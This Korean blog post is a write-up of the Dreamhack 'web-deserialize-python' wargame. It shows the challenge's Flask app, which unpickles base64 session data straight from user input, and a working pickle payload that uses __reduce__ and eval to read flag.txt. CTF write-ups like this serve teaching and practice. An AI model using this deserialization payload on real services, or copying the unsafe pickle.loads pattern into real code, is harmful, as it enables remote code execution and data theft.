https://dreamhack.io/wargame/challenges/40
web-deserialize-python
Session Login이 구현된 서비스입니다. Python(pickle)의 Deserialize 취약점을 이용해 플래그를 획득하세요. 플래그는 flag.txt 또는 FLAG 변수에 있습니다.
dreamhack.io
create_session이라는 페이지가 있다.
name, userid, password에 각각 a, a, a를 입력했더니 위와 같이 base64 형태의 값이 나왔다.
check_session에 이 값을 넣으니 입력한 값이 그대로 출력됐다.
#!/usr/bin/env python3
from flask import Flask, request, render_template, redirect
import os, pickle, base64
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
FLAG = '[**FLAG**]'
INFO = ['name', 'userid', 'password']
@app.route('/')
def index():
return render_template('index.html')
@app.route('/create_session', methods=['GET', 'POST'])
def create_session():
if request.method == 'GET':
return render_template('create_session.html')
elif request.method == 'POST':
info = {}
for _ in INFO:
info[_] = request.form.get(_, '')
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
return render_template('create_session.html', data=data)
@app.route('/check_session', methods=['GET', 'POST'])
def check_session():
if request.method == 'GET':
return render_template('check_session.html')
elif request.method == 'POST':
session = request.form.get('session', '')
info = pickle.loads(base64.b64decode(session))
return render_template('check_session.html', info=info)
app.run(host='0.0.0.0', port=8000)
전체 소스 코드다. pickle로 직렬화, 역직렬화를 구현하고 있는데, unpickle시 데이터를 사용자로부터 입력받고 있다. 여기서 취약점이 발생한다.https://jwcs.tistory.com/86
[python] pickle 모듈 간단 사용법 및 취약점
https://docs.python.org/ko/3.9/library/pickle.html pickle — 파이썬 객체 직렬화 — Python 3.9.18 문서 pickle — 파이썬 객체 직렬화 소스 코드: Lib/pickle.py pickle 모듈은 파이썬 객체 구조의 직렬화와 역 직렬화를
jwcs.tistory.com
import pickle,base64
class exploit():
def __reduce__(self):
return (eval,("open('./flag.txt', 'r').read()",))
INFO = ['name', 'userid', 'password']
info={}
for _ in INFO:
info[_] = exploit()
data = base64.b64encode(pickle.dumps(info)).decode('utf8')
print(data)
익스플로잇 코드다. 해석해보자.
`__reduce__()`는 호출 가능한 객체와 인자를 반환해야 한다. 호출 가능한 객체에 함수가 들어갈 수 있다. 필자는 eval() 함수를 썼고, 인자로 flag를 가져오도록 했다. 두 번째 인자의 괄호 안에 `,`가 들어간 이유는 반환값이 튜플이어야하기 때문이다. `,`가 없다면 괄호속 문자열이지만 `,`를 붙임으로써 단일값 튜플임을 나타낼 수 있다.
서버에서 `name`, `userid`, `password`에 값을 매핑하여 보여주고 있다. 이 틀에 맞춰서 세 값에 다 익스플로잇 코드를 넣어줬다. 이 값을 서버에서 작동하는 것과 같이 pickle로 직렬화한 후, base64로 인코딩해주었다. 이 값을 check_session에 페이지에 넣어보자.
짜잔
'웹 해킹 > 드림핵' 카테고리의 다른 글
[wargame.kr] dun worry about the vase 풀이 (1) | 2024.02.24 |
---|---|
[드림핵][wargame.kr] md5 password 풀이 (0) | 2024.02.23 |
[드림핵] funjs 풀이 (1) | 2024.02.11 |
[드림핵] crawling 풀이 (0) | 2024.02.11 |
[드림핵] weblog-1 풀이 (0) | 2024.02.10 |